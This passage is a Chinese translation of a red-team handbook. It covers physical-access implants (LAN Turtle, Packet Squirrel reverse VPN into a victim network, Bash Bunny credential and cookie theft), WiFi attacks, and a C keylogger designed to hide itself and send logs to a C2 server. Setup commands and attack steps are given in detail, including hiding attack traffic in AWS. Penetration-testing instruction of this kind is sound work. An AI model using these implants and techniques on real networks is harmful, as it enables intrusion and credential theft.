还有一些常见的可供破解的卡:
HID iClass (13.56 MHz) HID ProxCard (125 kHz) EM4100x (125 kHz) MIFARE Classic (13.56 MHz)可以参考这篇博客了解更多:RFID Hacking with The Proxmark 3
绕过进口点的物理器具本书不会深入研究物理器具及其操作方法,因为纸上得来终觉浅,若要果真深入了解物理器具及其操作方法,实践是最好的真挚。进行物理评估的最好方法,一直皆是实践、建立物理实验环境,搞领会哪些方法可行,哪些不可行。我来清点一下往常咱们团队用过的一些很酷的器具:
Lock Picks —— SouthOrd 公司出产的开锁器具一直是咱们的首选。质地好,效果好。 Gate Bypass Devices —— 用来绕过锁着的门的器具。 Shove-it Tool —— 简单的器具,用于门和门闩之间有弥散的空间的情况下。近似于贴卡打开感应门,你使用此器具拉开锁里的活塞。 Under the Door 2.0 —— 拉开带有手柄的门的器具。咱们可以用 Under the Door 器具从门下顺利进去,绕着把手,然后往下拉。在往常栈房中日常会安设这种门,但咱们肯定也会在业务中遭遇这种门。 Air Canisters —— 这是一个价钱低廉又构造简单的器具,可以通过里面的解析传感器打开门锁。望望这段视频,望望 Samy Kamkar 如何绕过此类型的门: https://www.youtube.com/watch?v=xcA7iXSNmZE记着,使用这些器具和物理评估的目的是追踪并监控公司物理安全的问题,并得到反馈。因此,咱们不仅要确保充分记载了系统中的障碍,还要检会事件的响应期间和处理措施是否是可以接受的。
LAN TurtleLAN Turtle 是我最可爱的器具之一,由 Hak5 公司出产。前书中咱们研究了如何把树莓派和 ODROID 作为攻击火器:给这些开导安设 Kali Linux 系统,让它们通过 SSH 或者 VPN 结合到咱们的攻击者机器中,这是作念物理浸透测试的一个好方法。
多年来,这些器具一直在络续向上。现在,LAN Turtle 工整到可以藏在职何开导的背面,依赖 USB 供电,让用户难以温情觉察。LAN Turtle 的 USB 网卡可代理以太网的扫数流量。
LAN Turtle 还有一个无线蜂窝版(接济SIM卡),暂且不提。
成立 LAN Turtle: LAN Turtle 的目的是取代 dropbox(一款可以同步土产货文献的辘集存储在线网盘应用)。尽管它带有许多其他功能和应用范例器具,如自动结合 SSH、DNS 诈骗、meterpreter、ptunnel、script2email、urlsnarf、responder 等等,但红队使用的主邀功能是“使用 LAN Turtle 得到进入彀络的权限”。
往常,以致在前几版书中,咱们使用 SSH 反向代理 shell。这样日常管用,但对于更深入的扫描/复杂的攻击,咱们需要完全拜谒辘集。为此,咱们必须建立反向的 VPN 结合。那么,怎样进行反向 VPN 结合?
是这样的,因为 LAN Turtle 会被插入入侵宗旨组织内网中的某个台式机的背面,是以咱们不可顺利结合到它。因此,咱们将让 LAN Turtle 首先通过端口 443 外连到 VPN,然后作为做事器复返到咱们的 OpenVPN 。从咱们用来作念攻击的 Kali 机器中,咱们也必须登录进 VPN 做事器。一朝 LAN Turtle 和咱们的攻击者机器皆通过VPN 结合到咱们的做事器中,咱们就可以把流量从 LAN Turtle 转发到攻击机器来进行扫描或缺点利用。
固然 OpenVPN 反向代理通说念不是什么新时代,但 Hak5 的团队在整合教程方面作念得相称好。我不得不修改了以下一些敕令,如果你想了解更多,请不雅看他们的 YouTube 视频:https://www.youtube.com/watch?v=b7qr0laM8kA 。
具体的使用方法主若是以下三步:
在 Internet 上建立一个 OpenVPN 拜谒做事器(OpenVPN AS); 其次,建立 LAN Turtle ; 临了,建立攻击者机器 。成立运行 OpenVPN 做事的 VPS :
咱们要确保咱们的 VPN 做事器对外提供做事。咱们日常可爱在 VPS 做事器提供商上托管咱们的 VPN 做事器,因为它们相称容易和快速成立。提前申饬一声,请向你的 VPS 提供商照管,确保他们允许你搞事。 常见的 VPS 提供商有 Linode 和 Amazon Lightsail 。因为他们的 VPS 速率快、价钱低廉且易于成立。AWS Lightsail VPS 就可以,遴荐它的另一个原因是:有许多攻击者皆会采取 AWS 作念攻击,躲在这些如大水般的流量背后,受害者将更难以察觉是谁攻击他们的。 去 Lightsail.aws.amazon.com 创建一个新的 VPS 创建后,转到“料理”->“联网” 添加两个安全构成立 TCP 端口(443和943) 创建 VPS 做事器后,登录: 确保 chmod 600 你的 SSH 密钥并登录到你的做事器 ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu@[IP] 通过 SSH 进入做事器之后 切换到 root 用户: 更新做事器: 安设 OpenVPN AS。请点击此处查找最新版块 复制贯穿并下载到 VPS 。示例: 安设 OpenVPN AS: 删除当前建立文献并建立 OpenVPN : /usr/local/openvpn_as/bin/ovpn-init 安设过程中: 确保为扫数接口成立料理员界面 将“通过里面数据库使用土产货身份考证”成立为“是” 更新 OpenVPN 密码: passwd openvpn 将943端口的 IPTables 成立为仅允许来自你的辘集的结合成立 OpenVPN 做事器:
转到 https://[vps做事器的IP地址]:943/admin/ 使用用户名 “openvpn” 和你刚刚成立的密码登录 如果使用的是 AWS Lightsail: 转到做事器辘集成立,确保:主机名或IP地址是正确的公网 IP 地址,而不是专有 IP 地址 保存并更新 考证身份考证是否成立为土产货: Authentication -> General -> Local -> Save Settings -> Update Server 创建两个启用了“允许自动登录”的用户(我创建的是 lanturtle 和 redteam): User Management -> User Permissions 对于每个用户: 成立允许自动登录 确保为这两个用户皆分别成立密码 对于 lanturtle 帐户,为了允许通过 VPN 结合,咱们需要启用一些权限: 确保在用户权限选项下启用/建立: 扫数做事端专有子网 扫数其他的 VPN 客户端下载 OpenVPN 建立文献:
结合下载建立文献: https://[你的VPS]:943/?src=connect 对于每个用户( redteam 和 lanturtle ) 登录并下载个东说念主尊府(自动登录建立文献) 分别保存为 turtle.ovpn 和 redteam.ovpn成立 LAN Turtle 和开动建立:
插入 USB 何况自动连入彀络 nmap 扫描土产货 22 端口 nmap x.x.x.x/24 -p22 -T5 --open 通过 SSH 结合 root 用户(root@[ip]),密码为 sh3llz 更新你的 LAN TURTLE 变调 MAC 地址很要紧。LAN Turtle 使用近似制造商的 MAC 地址,是以你要作念些修改来确保你看起来像个随机的开导: 变调你的 MAC 地址 安设 OpenVPN : 遴荐 Modules -> Select -> Configure -> Directory ,然后点击肯定 安设 OpenVPN 成立你的 OpenVPN 建立文献: 复返 Modules-> OpenVPN -> configure->粘贴扫数来自 turtle.opvn 的内容并保存 咱们还但愿确保 LAN Turtle OpenVPN 做事器在做事器启动时自动开启运行: 遴荐 Modules-> OpenVPN ->Enable 临了,咱们需要修改 LAN Turtle 上的防火墙规则: 退出 Turtle 菜单并裁剪防火墙规则(使用 nano 文本裁剪器裁剪 /etc/config/firewall 文献) nano /etc/config/firewall 接着,在文献中修改 vpn 这一部分的成立 确保“option forward”成立为“ACCEPT” 添加以下建立转发规则: 建立转发 option src wan option dest lan 建立转发 option src vpn option dest wan 建立转发 option src wan option dest vpn 重新回到 Turtle 菜单 -> Modules -> openvpn -> start 上头的操作应该会启动咱们的 Turtle 上的 OpenVPN 客户端。为了确保成立成效,回到咱们的 OpenVPN AS 做事器并检讨结合。咱们现在也曾建立了 LAN Turtle,这样每当它结合到一个辘集时,它就会回连到咱们的 VPN 做事器。何况咱们可以通过 SSH 连进 LAN Turtle 了。让咱们通过一个例子来感受一下这个过程:
从 Kali 攻击主机拜谒 VPN 做事器:
openvpn -config ./redteam.ovpn
获取对方所在辘集的IP地址,以便从咱们的 redteam vpn 传输扫数流量。
SSH 进入 LAN Turtle 退出 Turtle 菜单,获取受害者辘集里面接口(ifconfig)的 IP 地址。根据 IP 和 BCAST(播送地址)策动出 IP 范围。在咱们的示例中,Turtle 所在的辘集是 10.100.100.0/24临了,开启流量转发:
复返 OpenVPN AS并裁剪 lanturtle 这个用户 用户权限(User Permissions)页面->搜索用户名 lanturtle->夸耀 将 VPN 网关裁剪为“是”并添加里面范围(举例 10.100.100.0/24) 保存并更新通过 LAN Turtle 上的 SSH 结合,使用 reboot 敕令重启
现在,咱们可以让攻击机透过在 LAN Turtle 上架设的 VPN 通说念,将咱们的扫数流量传输到受害者公司内网。鄙人图中,咱们登录进入 VPN 做事器,扫描 LAN Turtle 的范围为 10.100.100.0/24 的里面辘集。咱们可以看到,咱们也曾得胜地建立了从 VPN 网关通过 LAN Turtle 到公司辘集的路由传输。现在,在 Kali 攻击机上头,可以运行完整的缺点扫描、辘集抓取、Masscans 扫描以致更多其他操作。
好的!现在你有了一个快速插入的开导,它让你与受害者辘集保持全局结合。为了作念的更好,还可以完善一下:
成立一个每天重启开导的定时任务。VPN 纯正结合可能会断开,但每当 LAN Turtle 重新启动时,VPN 结合会重新启动。 某些公司封闭了某些可通往外网的端口。在本例中,咱们使用了443端口,在许多环境中,这个端口可以和外网通讯。对于使用 Web 代理的某些公司辘集,可能会阻滞通过 443 端口顺利结合外网。可能需要建立 LAN Turtle ,以在启动结合时,自动尝试多个不同的端口或左券(TCP/UDP)。 如果要安设两个或更多开导,请确保这些开导的 VPN 做事器和 MAC 地址是不一样的。曾有几个真实的案例,咱们的开导险些在每次入侵时皆被发现了,然则这完全是偶然事。原因是 IT 基础设施正在被出动或者更换了策动机。 Packet SquirrelPacket Squirrel 使用 Micro-USB 接口充电,但是并非是通过 USB 接口那一端插入有线 USB 网卡,Packet Squirrel 两头皆接网线,这是另一种拿获流量或创建 VPN 结合的方式。
建立 Packet Squirrel 的方法和 LAN Turtle 差未几;
裁剪 /root/payloads/switch3/payload.sh FOR_CLIENTS=1 裁剪 /etc/config/firewall 对防火墙进行那时你为 LAN Turtle 所作念的完全相通的变调 将 LANTurtle.ovpn 文献上传到 /root/payloads/switch3/config.ovpn现在你有了另一个和 LAN Turtle 有近似功能的开导,一朝结合到辘集,就会有一个反向的 VPN 结合,从你这儿结合回对方公司。
对了,你还可以对 Packet Squirrel 进行我方的升级和优化,如果你把它琢磨透了的话,就可以用 SWORD(software optimization for the retrieval of data, 数据检索软件优化)缩小地将 Packet Squirrel 蜕变为基于 OpenWRT 的浸透测试器具箱( https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-26a98a5fa5e5 )。
参考资源:
https://www.hak5.org/episodes/hak5-1921-access-internal-networks-with-reverse-vpn-connections -to-install-openvpn-access-server-on-ubuntu-15-10/ https://trick77.com/how-to-set-up-transparent-vpn-internet-gateway-tunnel-openvpn/ https://www.hak5.org/gear/packet-squirrel/docs Bash Bunny前书中咱们磋磨了 Rubber Ducky 以及它是如何模拟 HID 开导(如键盘)来存储敕令。对红队成员而言,Rubber Ducky 仍然是个可以的器具,因为它可以加快 PowerShell 敕令的传递,用于社会工程学攻击,何况可以在莫得键盘但有 USB 插槽的柜台系统(如 ATM 机、自动售货机等)上作念相差侵操作。
Bash Bunny 是 Rubber Ducky 的升级版块。它不仅可以实行 HID 攻击(HID 是 Human Interface Device的缩写,趣味是东说念主机接口开导),还有许多其他操作。Bash Bunny 有两个孤独的成立选项来分别保存对 BunnyTap 和 QuickCreds 这两种攻击的成立(以及一个额外的料理成立)。这些 payload 可以实行攻击来窃取凭证、进行辘集垂钓、实行 Ducky 攻击、运行 PowerShell 敕令、实行扫描和侦察、实行 Metasploit autopwn 等。
译者注 :HID Attack 是最近几年流行的一类攻击方式。HID 是 Human Interface Device的缩写,趣味是东说念主机接口开导。它是对鼠标、键盘、游戏手柄这一类可以操控电脑开导的统称。由于电脑对这类开导枯竭严格的检测措施,只是简单的识别开导类型,就允许开导对电脑进行各项操作。是以,通过修改更正开导反馈信息,就可以很缩小的让电脑将其他开导误认为 HID 开导,从而获取控制权限。尤其是 USB 和蓝牙这类即插即用接口出现,导致 HID Attack 成为要紧方式。举例,Bad USB 即是 USB 类攻击的典型代表。参考尊府:WHID Injector:将 HID 攻击带入新田地
前书,咱们谈到了使用 KonBoot 来绕过你莫得密码的机器。KonBoot 在未加密的机器上责任时,可以从 U 盘启动并覆写土产货料理员的密码。尽管这个操作需要完整地重启客户机,但一朝重启完成,你就可以无谓借助任何凭证的拜谒被攻击的机器。咱们团队一直使用 KonBoot 何况取得了很好的效果。是以如果你还没尝试过 KonBoot 的话,不妨一试。
但是,仍然有两个意义使你不想遴荐 KonBoot:
此攻击在加密的策动机上不起作用; 你可能不想重启受害者的策动机。那么如何从被锁定的系统中获取信息,以拜谒辘集上的其他内高兴者取得哈希、身份凭证?这即是 Bash Bunny 初显技艺的地方。咱们将使用 Bash Bunny 运行两种不同攻击的 payload。在咱们可以进入该宗旨组织的机房的前提下,这两种攻击皆允许咱们从一个被锁定(或未锁定)的系统中获取信息。底下演示如何使用 BunnyTap 和 QuickCreds 。
闯入 Cyber Space Kittens几个小时后你终于进到 Cyber Space Kittens 部门内。没被东说念主察觉,是以你有几小时的期间来进行入侵行动。你入侵第一台机器,装上 KonBoot 并重启机器,但你珍爱到这些机器的系统是加密的。然后你转到下一台处于屏幕锁定保护状态的策动机。你两次插入 Bash Bunny,运行 BunnyTap 和 QuickCreds 。几分钟后,通过运行 Responder,QuickCreds 汇集到了Net-NTLMv2 哈希值。将它放进 Hashcat 运行,顿然钟就破解了用户密码!在咱们无法获取或破解哈希的机器上,BunnyTap 会运行 PosionTap,它可以对常见的站点拿获 cookie,这可以用于对里面应用范例进行建立。咱们把这些窃取到的 cookie 保存到咱们的攻击者条记本电脑,将咱们的攻击者条记本电脑结合到他们的辘集,用土产货保存的窃取到的 cookie 来替换明锐 Web 应用范例中现在的cookie,这样咱们就在不知说念密码的情况下获取了这些 Web 应用范例的拜谒权限。
在 Kali 环境下成立 Bash Bunny
下载最新固件:https://bashbunny.com/downloads 将 Bash Bunny 的开关3(最围聚 USB 端口阿谁)成立为启用模式。 将下载的固件放在 USB 挂载的根目次, 拔出 Bash Bunny,再重新插入,然后恭候节略 10 分钟,直到它呈蓝色能干。 完成后,重新进入 Bash Bunny 并裁剪 payloads>switch1>payload.txt 这个文献。# System default payload LED B SLOW ATTACKMODE ECM_ETHERNET STORAGE拔出你的开导 在你的 Kali 系统中,成立 Internet 分享:
wget bashbunny.com/bb.sh chmod +x bb.sh ./bb.sh Guided Mode(是以选项皆保留默许值)在 Bash Bunny 上,打开开关1(离 USB 插孔最远的阿谁开关)上,然后插入。完成后,请确保结合到 Bash Bunny,在那里你可以看到 Cloud <-> Laptop <-> Bunny image 在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny
登陆进入你的 Bash Bunny
在你的 Kali 机器上,用密码 hak5bunny 通过 SSH 进入 Bash Bunny ssh root@172.16.64.1 让咱们更新 Bash Bunny 并安设一些器具 在 Kali 机器的另一个结尾上,安设你想要的扫数模块。git clone https://github.com/hak5/bashbunny-payloads.git /opt/bashbunny-payloads你可以遴荐任何类型的 payload ,但是在咱们的例子中,咱们将使用 BunnyTap 和 QuickCreds 这两个 payload 来成立 Bash Bunny
cp -R /opt/bashbunnypayloads/payloads/library/credentials/BunnyTap/* /media/root/BashBunny/payloads/switch1/ cp -R /opt/bashbunnypayloads/payloads/library/credentials/QuickCreds/* /media/root/BashBunny/payloads/switch2/
珍爱,在 switch1 和 switch2 文献夹中皆有一个名为 payload.txt 的文献。而对于每一个这个文献,你需要将其建立为攻击 Windows 或 Mac 策动机。对于 Windows 机器,确保 AttackMode 成立为 RNDIS_ETHERNET,对于 Mac,将 AttackMode 建立为 ECM_ETHERNET。
QuickCredsQuickCreds 是一个很棒的器具,它使用 Responder 攻击从锁定和未锁定的机器上拿获 NTLMv2 Challenge 哈希。假设你在作念一次物理评估,为此你闯进一栋大楼,碰到了一堆锁着的机器。你使用 QuickCreds 的开关插入 Bash Bunny ,每台机器恭候节略 2 分钟。Bash Bunny 将经受辘集适配器,使用 Response 重新传输任何分享和身份考证央求,然跋文录这些数据。它将扫数凭证保存到 USB 磁盘上的 loot 文献夹中。
译者注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 先容
参考尊府:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/QuickCreds https://room362.com/post/2016/snagging-creds-from-locked-machines/ BunnyTapBunnyTap 基于由 Samy Kamkar 开发的著明器具 PoisonTap ( https://www.youtube.com/watch?v=Aatp5gCskvk )。PoisonTap 是一个相称优秀的器具,即使是在锁定的机器上,也可以实行以下操作:
通过 USB(或 Thunderbolt )模拟以太网开导。 劫持扫数来自机器的辘集流量(尽管是通过低优先级或未知的辘集接口)。 从 Web 浏览器中索要和存储位居 Alexa 排名榜最受迎接的前100,0000 站的 HTTP cookie 和会话。 将里面路由器裸露给攻击者,这样攻击者就可以通过结合外网的 WebSocket 和 DNS 重新绑定攻击来长途拜谒里面路由器。(感谢 Matt Austin 提供的对于“DNS 重新绑定攻击”的念念路!) 在 HTTP 缓存中,为数十万个域名和常见的 JavaScript CDN URL 安设一个基于 Web 的持久后门。通过缓存投毒的方式,咱们可以获取用户对于这些资源的 cookie 。 允许攻击者通过在职何有后门的域中获取的用户 cookie,来长途强制用户来发起 HTTP 央求(包括 GET 和 POST)和通过代理传回响应。 不需要将机器解锁。 后门和长途拜谒权限即使在开导被移除且攻击者离开后仍然存在( https://samy.pl/poisontap/ )。从一次物理评估的角度来看,你进入他们的办公室,在每台机器上插上 Bash Bunny,然后恭候节略2分钟。Bash Bunny 会让电脑中的扫数流量皆走 Bash Bunny 转发。如果他们有一个打开何况行径的浏览器(如告白或任怎样期更新的页面),BunnyTap 将启动并向扫数 Alexa Top 100,0000 网站发出央求。此时,受害者用户若登录到这些站点中的任何一个,BunnyTap 将拿获受害者的扫数 cookie。现在,咱们可以将这些 cookie 发还到我方的策动机上,把咱们的 cookie 替换成他们的,这样即可在不知说念他们密码的情况下,冒充他们的身份进入彀站。
请务必稽查扫数 Bash Bunny 的 payload:
https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library WiFiWiFi 攻击方面,咱们攻击受害者的方式莫得什么大变化。固然 WEP 加密辘集的使用显耀减少,但攻击方式仍包括反认证、aireplay-ng 和拿获 IV 数据包。对于 WPA 无线辘集,最好的攻击技能,依旧是对客户端进行反认证 、拿获捏手包、将其传递给 hashcat 对密码进行破解。以上这几种方法屡试屡验。器具方面,我最爱的器具是 Wifite2 的完全重写的版块,这个新版块带有一个 Alfa AWUS036NHA 无线网卡。这是一个相称易于使用的接口,可以接济多种攻击,基于 aircrack 器具套装,令它可以很容易地破解拿获的哈希值。
对于发动 WiFi 攻击的装备,除了使用一双 Alfa 无线网卡,实行愈加躲避的 WiFi 攻击的简单方法是使用 WiFi Pineapple Nano。如果你想建立一个假的主无线接入点,通过天线改变他们流量的通讯旅途,用伪造页面拿获身份考证,实行扫数的中间东说念主攻击,运行 Responder 和其他攻击的话,WiFi Pineapple Nano 是一个能实行此操作的轻量级硬件器具。
除了 Pineapple,还有其他一些器具可以用来攻击公司辘集。其中一个即是 eaphammer。
eaphammer 的功能:
从 WPA-EAP 和 WPA2-EAP 辘集窃取 RADIUS 凭证。 实行坏心派别攻击,以窃取 AD 凭证,并实行蜿蜒无线枢轴。 实行 captive portal 攻击。 内置响应器集成。 接济通达辘集和 WPA-EAP/WPA2-EAP。 大多数攻击无需手动建立。 安设和成立过程无需手动建立。 使用最新版块的 hostapd(2.6)。 接济坏心的 twin 攻击和 karma 攻击。 为蜿蜒无线枢轴生成定时 PowerShell payload。 针对坏心派别攻击的集成 HTTP 做事器。 接济 SSID 躲避。eaphammer 最好的地方是使用自界说攻击功能来实行 responder 攻击或拿获 NTLM challange 身份考证哈希以进行破解( https://github.com/s0lst1c3/eaphammer#iii---stealing-ad-credentials-using-hostile-portal-attacks ) 以及蜿蜒的无线枢轴( https://github.com/s0lst1c3/eaphammer#iv---indirect-wireless-pivots )。
为幸免读者没看到上头的扫视,是以译者再次注: 如若不懂“NTLMv2 Challenge 哈希”,可以参考此篇:Windows 下的密码 hash——NTLM hash 和 Net-NTLM hash 先容
本章总结物理攻击是最趣味趣味的事情之一。这会加快你的肾上腺素分泌,让我方认为像个罪人,障碍地想行恶。在咱们的许多红队行动中,咱们可能会花上几天的期间来为一家公司进行踩点,不雅察警卫的瓜代,并弄领会他们皆有什么类型的门。咱们可能会尝试拍摄他们的工卡的相片,记载东说念主们离开大楼的期间,并找出能让咱们进入大楼的薄弱要津。
从红队的角度来看,咱们不仅要不雅察他们物理设施方面的安全薄缺欠,也要珍爱他们里面的东说念主。
如果触发了警报,联系职工要过久能力觉察并应付? 录像头是否开启全天候监控?是这样的话,如果发现什么可疑,到联系东说念主员来排查,能有多漫空余期间? 有东说念主看护后门等其他的不常用出口吗? 如果踪迹表示,你有办法脱身吗? 如果乔妆打扮成该公司(或任何为该公司提供第三方做事)的职工,对方公司会对你的入侵行动作念什么反应?
临了要珍爱的是,在最先入侵行动之前,确保要有一个明确的攻击范围、一封入侵宗旨公司给你作念的书面授权解说、首席安全官或物理设施安全负责东说念主的电话号码,并确保与对方达成共鸣、进行合作。准备措施作念得越好,就能更好的幸免不必要的诬陷和费劲。但是因为这终究是一种危境的奉求,是以我也无法保证全心准备就一定能万无一失。
第7章 四分卫突破——走避杀毒软件和辘集检测 为红队行动编写器具红队东说念主员和浸透测试东说念主员比较显豁的区别之一即是红队东说念主员能快速的安妥并领路不同的防护。岂论是领路初级语言(机器代码和汇编语言),编写shellcode,创建自界说的 C2 二进制可实行文献,如故修改代码来躲避坏心范例,它们皆是咱们(红队)日常责任的一部分。我老是遭遇不会编程的浸透测试东说念主员,固然这不是一项硬性要求,但是编程水平确乎会决定他们专科成长的高度。 因此,我专门编写这一章节来给那些莫得使用过偏向底层的初级语言编程的东说念主一个细密的初学场地。
基础的键盘记载器键盘记载器是扫数浸透测试东说念主员 / 红队东说念主员的必备器具,本节将率领你制作通用的键盘记载器。 有时咱们只想持续监控某个用户或获取其他凭证。 这可能是因为咱们此时无法进行任何类型的横向出动或者权限提高,或者咱们可能只想监视用户以便更好开展将来的入侵行径。 在这些情况下,咱们日常可爱抛弃一个持续在受害者系统上运行的键盘记载器并将键盘记载的数据发送到外网。 以下示例只是一个 POC ,本实验的目的是让你从这里了解基础常识和构建它们。 它全部用 C 语言(较底层的语言)来编写的原因是保持二进制文献相对较小、更好的系统控制、何况躲避杀毒软件。 在之前的书中,咱们使用 Python编写了一个键盘记载器并使用 py2exe 对其进行编译以使其成为二进制文献,但这些很容易就被检测到。 让咱们来看一个稍许复杂的例子。
成立你的环境这是在 C 中编写和编译以生成 Windows 二进制文献并创建自界说键盘记载器所需的基本成立。
在一个诬捏机中安设 Windows 10 安设 Visual Studio ,以便你可以使用敕令行编译器和使用 Vim 进行代码裁剪到面前为止,Windows API 编程的最勤学习资源是微软我方的开发者辘集网站 MSDN。 MSDN 是一个相称认真的资源,它详实说明了系统调用,数据类型和结构界说,并包含了许多示例。通过阅读微软出书社出书的《Windows Internals》册本,可以更深入地了解 Windows 操作系统, 固然这个式样中并不是至极需要这个。 对于学习 C 语言,有一册好书,C 语言的创举东说念主之一参与了对此书的撰写,名为《C语言范例设想》(The C Programming Language),书的作家是 Kernighan 和 Ritchie。临了,可以阅读《Beej’s Guide to Network Programming》,有印刷版和在线版,这是 C 语言中对于的 socket 编程的一册很好的初学读物。
从源码编译在这些实验中,将会有多个示例代码和例子。实验室将使用微软的 Optimizing Compiler 编译代码,该编译器随 Visual Studio 社区版块全部提供,并内置于 Visual Studio 开发者敕令教唆符(Visual Studio Developer Command Prompt)中。安设 VS 社区版块后,请通过 器具(Tools) --> 获取器具和功能(Get Tools and Features) 安设 C++ 的组件 通用 Windows 平台开发和桌面开发。要编译示例源码,请打开开发者敕令教唆符的一个实例,然后切换到包含源代码文献的文献夹目次。 临了,运行敕令 cl sourcefile.c io.c。这将生成一个与源文献同名的可实行文献。
编译器默许为 32 位,但此代码也可以用64位进行编译。要编译64位范例,请运行位于 Visual Studio 文献夹中的批处理范例。在敕令教唆符中,切换到目次 “ C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build ” ,珍爱,这个目次可能会因为你的 Visual Studio 版块而改变(但是大致是以上目次)。然后,运行敕令 vcvarsall.bat x86_amd64 ,这将成立 Microsoft 编译器编译 64 位的二进制文献而不是编译成 32 位的。现在,你可以通过运行 cl path/to/code.c(path 是源码文献的统统旅途)来编译代码。
示例框架该式样的宗旨是创建一个键盘记载器,利用 C 语言和底层 Windows 功能来监视击键。该键盘记载器使用 SetWindowsHookEx和 LowLevelKeyboardProc 函数 。 SetWindowsHookEx 允许在土产货和全局高下文中成立多样类型的 Hook(钩子)。在这种情况下,WH_KEYBOARD_LL参数将用于索要底层键盘事件 。 SetWindowsHookEx 的函数原型看起来像这样( ):
该函数创建了界说为整型的 hook 的 ID、指向函数的指针、句柄和线程 ID。前两个值是最要紧的。你行将要安设的 hook 的 ID 数据类型是整型。Windows 会在功能页面上列出的可用 ID 。在咱们的例子中,将使用 ID 13 或 WH_KEYBOARD_LL 。HOOKPROC 是一个指向回调函数的指针,每次被钩住的程度给与数据时皆会调用该函数。这意味着每次按下一个键,皆会调用 HOOKPROC。这是用于将击键写入文献的函数。hMod 是包含 lpfn 指针指向的函数的 DLL 的句柄。此值将成立为 NULL,因为函数与 SetWindowsHookEx 在并吞程度中使用。dwThreadId 将成立为0以将回调与桌面上的扫数线程联系联。临了,该函数复返一个整数,该整数将用于考证 hook 是否已正确成立或以其他方式退出。
第二部分是回调函数。回调函数将为此键盘记载器完成一系列空匮的责任。此函数将处理给与击键,将其蜕变为 ASCII 字符以及记载扫数文献操作。 LowLevelKeyBoardProc( )的原型如下所示:
让咱们回顾一下 LowLevelKeyBoardProc 所需的内容。该函数的参数是一个整数,告诉 Windows 如何解释该音尘。这些参数中的两个是:
wParam,它是音尘的符号符 lParam,它是指向 KBDLLHOOKSTRUCT 结构体的指针wParam 的值在功能页面中指定。还有一个页面貌貌了 KBDLLHOOKSTRUCT 的成员。lParam 的 KBDLLHOOKSTRUCT 的值称为 vkCode 或 Virtual-Key Code( )。这是按下的键的代码,而不是现实的字母,因为字母可能会根据键盘的语言而有所不同。vkCode 需要稍后蜕变为相应的字母。现在不要焦虑把参数传递给咱们的键盘回调函数,因为它们将在激活 hook 时由操作系统传递。
临了,挂钩键盘的开动架构代码如下所示:https://github.com/cheetz/ceylogger/blob/master/skeleton
在稽查框架代码时,需要珍爱的一些事项是,在回调函数中包含pragma comment(预处理指示),音尘轮回和复返 CallNextHookEx 行。pragma comment 是用于贯穿 User32 DLL 的编译器指示。 此 DLL 包含将要进行的大多数函数调用,因此需要进行贯穿。它也可以与编译器选项联系联。接下来,如果正在使用 LowLevelKeyboardProc 函数,则必须使用音尘轮回。 MSDN 声明,“此钩子在安设它的线程的高下文中调用。 通过向安设了钩子的线程发送音尘来进行调用。因此,安设钩子的线程必须有一个音尘轮回。“[ ]
复返 CallNextHookEx 是因为 MSDN 声明 “ 调用 CallNextHookEx 函数贯穿到下一个钩子过程是可选的,但浓烈建议调用,不然已安设钩子的其他应用范例将不会收到钩子文牍,因此可能会出现造作行动。是以你应该调用 CallNextHookEx,除非你一定要阻滞其他应用范例看到文牍。“[ ]
接下来,咱们陆续构建从文献句柄最先的回调函数的功能。在示例代码中,它将在 Windows 系统的 Temp 目次(C:\Windows\Temp)中创建名为 “log.txt” 的文献。 该文献建立了 append 参数,因为键盘记载器需要络续地将击键输出到文献。如果此临时文献夹中莫得该文献,则会创建一个同名文献(log.txt)。
回到 KBDLLHOOKSTRUCT结构体,代码声明了一个 KBDLLHOOKSTRUCT 指针,然后将其分配给 lParam。这将允许拜谒每个按键的 lParam 内的参数。 然后代码检讨 wParam 是否复返 WM_KEYDOWN,这将检讨按键是否被按下。这样作念是因为钩子会在按下和开释按键时触发。如果代码莫得检讨 WM_KEYDOWN,范例将每次写入两次击键。
检讨按键被按下后,需要有一个 switch语句,用于检讨 lParam 的 vkCode(诬捏键代码)是否有特殊键。某些键需要以不同的方式写入文献,举例复返键(Esc),控制键(Ctrl),移位(shfit),空格(Space)和制表键(Tab)。对于默许情况,代码需要将按键的 vkCode 蜕变为现实的字母。 实行此蜕变的简单方法是使用 ToAscii 函数。ToAscii 函数将包含 vkCode,一个 ScanCode,一个指向键盘状态数组的指针,一个指向将给与该字母的缓冲区的指针,以及一个 uFlags 的 int 值。vkCode 和 ScanCode 来自按键结构体,键盘状态是先前声明的字节数组,用于保存输出的缓冲区,uFlags 参数将成立为0。
检讨是否开释了某些键口舌常必要的,举例 shift 键。这可以通过编写另一个 if 语句 来检讨 WM_KEYUP,然后使用 switch语句 来检讨所需的键来完成。 临了,需要关闭该文献并复返 CallNextHookEx。回调函数如下所示:
https://github.com/cheetz/ceylogger/blob/master/callback此时,键盘记载器功能完全正常,但依旧有一些问题。第一个是运行范例会产生一个敕令教唆符的窗口,这使得范例运行相称显豁,何况窗口莫得任何教唆输出口舌常可疑的。 另一个问题是将文献放在运行该键盘记载器的并吞台策动机上并不是很好。
通过使用 Windows 特定的 WinMain 函数进口替换圭臬 C 语言的 Main 函数进口,可以相对容易地确立有敕令教唆符窗口的问题。根据我的领路,之是以有用是因为 WinMain 是 Windows 上图形范例的进口。尽管操作系统期望你为范例创建窗口,但咱们可以敕令它不要创建任何窗口,因为咱们有这个控件。最终,该范例只是在后台生成一个程度而不创建任何窗口。
该范例的辘集编程是简单狡猾的。首先通过声明 WSAData( ),启动 winsock ,撤销教唆结构体以及填写联系需求来开动化 Windows socket 函数。就咱们的示例来说,代码将使用 AF_UNSPEC 用于 IPV4 和 SOC_STREAM 用于 TCP 结合,并使用 getaddrinfo 函数使用先前的需求填充 c2 结构体。在称心扫数必需参数后,可以创建 socket。临了,通过 socket_connect 函数结合到 socket。
结合之后,socket_sendfile 函数将完成大部单干作。它使用 Windows 的 CreateFile 函数打开日记文献的句柄,然后使用 GetFileSizeEx 函数获取文献大小。得到文献大小后,代码将分配该大小的缓冲区,加上一个用于填充的缓冲区,然后将该文献读入该缓冲区。 临了,咱们通过 socket 发送缓冲区的内容。
